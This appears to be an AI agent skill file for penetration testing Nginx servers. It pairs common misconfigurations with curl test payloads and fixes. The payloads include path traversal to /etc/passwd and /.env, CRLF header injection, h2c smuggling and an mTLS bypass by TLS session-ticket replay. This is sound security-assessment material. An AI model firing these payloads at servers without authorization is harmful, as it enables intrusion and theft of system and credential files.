Hacktricks-skills nginx-pentest
Audit and test Nginx servers for common misconfigurations and vulnerabilities. Use this skill whenever you need to assess Nginx security, check for LFI vulnerabilities, test for HTTP request splitting, analyze proxy configurations, or identify dangerous directives. Trigger this skill for any Nginx security assessment, configuration review, or penetration testing task involving Nginx web servers.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/nginx/SKILL.MDNginx Pentesting Skill
A comprehensive guide for auditing and testing Nginx servers for security vulnerabilities and misconfigurations.
Quick Start
When testing an Nginx server, follow this workflow:
- Reconnaissance - Identify Nginx version, modules, and configuration exposure
- Configuration Analysis - Check for dangerous directives and misconfigurations
- Vulnerability Testing - Test for specific vulnerabilities with payloads
- Remediation - Provide fixes for identified issues
Reconnaissance
Identify Nginx Version and Modules
# Check version from response headers curl -I https://target.com | grep -i server # Check compiled modules (if you have access) nginx -V 2>&1 | grep -i http_v3 # Check for HTTP/3 support rg -n "listen .*quic" /etc/nginx/
Check for Configuration Exposure
# Try to access nginx.conf directly curl https://target.com/nginx.conf curl https://target.com/etc/nginx/nginx.conf # Check for backup files curl https://target.com/nginx.conf.bak curl https://target.com/nginx.conf.old curl https://target.com/nginx.conf~
Common Vulnerabilities
1. Missing Root Location
What to check: When only specific locations are defined without a root
location /, the global root directive applies to all requests.
Vulnerable pattern:
server { root /etc/nginx; location /hello.txt { try_files $uri $uri/ =404; } # No location / defined - root applies globally! }
Test:
# Try accessing files in the root directory curl https://target.com/nginx.conf curl https://target.com/passwd curl https://target.com/../../../etc/passwd
Fix:
server { root /var/www/html; # Use a safe directory location / { # Explicitly define root behavior try_files $uri $uri/ =404; } }
2. Alias LFI Misconfiguration
What to check: The
alias directive without trailing slash can enable path traversal.
Vulnerable pattern:
location /imgs { alias /path/images/; # Missing trailing slash on location }
Test:
# Path traversal attempts curl https://target.com/imgs../flag.txt curl https://target.com/imgs/../../../etc/passwd curl https://target.com/imgs..%2f..%2fetc%2fpasswd # Check response codes alias../ => 403 (blocked) alias.../ => 404 (not found) alias../../ => 403 (blocked)
Fix:
location /imgs/ { alias /path/images/; # Add trailing slash to location }
3. Unsafe Variable Use / HTTP Request Splitting
What to check: Using
$uri instead of $request_uri in redirects or proxy_pass can enable CRLF injection.
Vulnerable patterns:
# Vulnerable - uses $uri location / { return 302 https://example.com$uri; } # Vulnerable - in proxy_pass location ^~ /lite/api/ { proxy_pass http://lite-backend$uri$is_args$args; } # Vulnerable - regex capture location ~ /docs/([^/])? { # $1 is vulnerable }
Test:
# CRLF injection test curl -I "https://target.com/%0d%0aX-Injected-Header:%20test" # Check for header injection curl -I "https://target.com/%20X" # Any HTTP code = potentially vulnerable curl -I "https://target.com/%20H" # 400 Bad Request = vulnerable (H is not a valid method) # More aggressive tests curl -I "https://target.com/%20HTTP/1.1%0D%0AXXXX:%20x" curl -I "https://target.com/%20HTTP/1.1%0D%0AHost:%20x"
Fix:
# Use $request_uri instead of $uri location / { return 302 https://example.com$request_uri; } # Or use safe regex location ~ /docs/([^/\s])? { # $1 is now safe }
4. try_files with $uri$args LFI
What to check: Using
$uri$args in try_files can enable path traversal.
Vulnerable pattern:
location / { try_files $uri$args $uri$args/ /index.html; }
Test:
# Path traversal via query string curl "https://target.com/?../../../../../../../../etc/passwd" curl "https://target.com/?%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
Fix:
location / { try_files $uri $uri/ /index.html; # Don't use $args in try_files }
5. Unsafe Path Restriction Bypass
What to check: Location blocks with
deny all can sometimes be bypassed.
Vulnerable pattern:
location = /admin { deny all; } location = /admin/ { deny all; }
Test:
# Try various bypasses curl https://target.com/admin%00 curl https://target.com/admin/ curl https://target.com/admin..%2f curl https://target.com/admin%20
6. Raw Backend Response Reading
What to check: Invalid HTTP requests bypass proxy_intercept_errors.
Vulnerable pattern:
http { error_page 500 /html/error.html; proxy_intercept_errors on; proxy_hide_header Secret-Header; }
Test:
# Send malformed request to bypass interception curl -X GET --path-as-is "https://target.com/invalid\x00request" # Check for exposed headers curl -I "https://target.com/" | grep -i secret
7. merge_slashes Misconfiguration
What to check: When
merge_slashes off, multiple slashes are preserved, potentially bypassing WAFs.
Test:
# Test with double slashes curl https://target.com//admin curl https://target.com///etc/passwd curl https://target.com/admin//config
8. Malicious Response Headers (X-Accel-*)
What to check: Backend can send X-Accel-Redirect headers to force internal redirects.
Vulnerable pattern:
server { root /; # Dangerous root location /api/ { proxy_pass http://backend; } }
Test:
# Try to trigger X-Accel-Redirect curl -H "X-Accel-Redirect: /.env" https://target.com/api/test curl -H "X-Accel-Redirect: /etc/passwd" https://target.com/api/test
Fix:
# Use a safe root directory server { root /var/www/html; }
9. Map Directive Without Default
What to check: Map directives without default values can bypass authorization.
Vulnerable pattern:
map $uri $mappocallow { /map-poc/private 0; /map-poc/secret 0; /map-poc/public 1; # No default! } server { location /map-poc { if ($mappocallow = 0) {return 403;} return 200 "Hello"; } }
Test:
# Access undefined URI curl https://target.com/map-poc/undefined curl https://target.com/map-poc/anything
Fix:
map $uri $mappocallow { default 0; # Add default /map-poc/private 0; /map-poc/secret 0; /map-poc/public 1; }
10. DNS Spoofing
What to check: External DNS resolvers can be spoofed.
Vulnerable pattern:
resolver 8.8.8.8; # External DNS
Fix:
resolver 127.0.0.1; # Use localhost
11. h2c Smuggling via Upgrade Headers
What to check: Passing Upgrade and Connection headers enables h2c smuggling.
Vulnerable pattern:
location / { proxy_pass http://backend:9999; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $http_connection; }
Test:
# Attempt h2c upgrade curl -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ https://target.com/ # Try to access protected endpoints curl -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ https://target.com/flag
12. HTTP/3 QUIC Vulnerabilities (2024)
What to check: CVE-2024-31079, CVE-2024-32760, CVE-2024-34161, CVE-2024-35200
Test:
# Check for HTTP/3 support curl -I https://target.com | grep -i "Alt-Svc: h3" # Check nginx version nginx -V 2>&1 | grep -i http_v3 # Check for QUIC socket rg -n "listen .*quic" /etc/nginx/ # Affected versions: 1.25.0-1.25.5, 1.26.0 # Fixed in: 1.27.0, 1.26.1
13. TLS Session Resumption Bypass (CVE-2025-23419)
What to check: TLS 1.3 session tickets can bypass mTLS.
Test:
# 1. Create session on public vhost openssl s_client -connect public.example.com:443 -sess_out ticket.pem # 2. Replay on mTLS vhost openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof # If connection succeeds without cert, vulnerable
What to audit:
- Mixed server_name blocks sharing ssl_session_cache
- Admin/API blocks expecting mTLS with shared session settings
14. HTTP/2 Rapid Reset (CVE-2023-44487)
What to check: High keepalive_requests or http2_max_concurrent_streams values.
Test:
# Check configuration rg -n "http2_max_concurrent_streams" /etc/nginx/ rg -n "keepalive_requests" /etc/nginx/ # Default safe values: # http2_max_concurrent_streams: 128 # keepalive_requests: 1000
Static Analysis Tools
Gixy-Next
# Install and run pip install gixy-ng gixy-ng /etc/nginx/nginx.conf
Nginxpwner
# Clone and run git clone https://github.com/stark0de/nginxpwner cd nginxpwner python nginxpwner.py -u https://target.com
Remediation Checklist
After identifying vulnerabilities, apply these fixes:
- Set root to safe directory (not /etc/nginx)
- Add trailing slashes to alias locations
- Replace $uri with $request_uri in redirects
- Remove $args from try_files directives
- Add default values to map directives
- Use localhost for DNS resolver
- Remove Upgrade/Connection header passthrough
- Update Nginx to latest version
- Isolate TLS session caches per vhost
- Keep http2_max_concurrent_streams at default (128)
- Run gixy-ng for automated analysis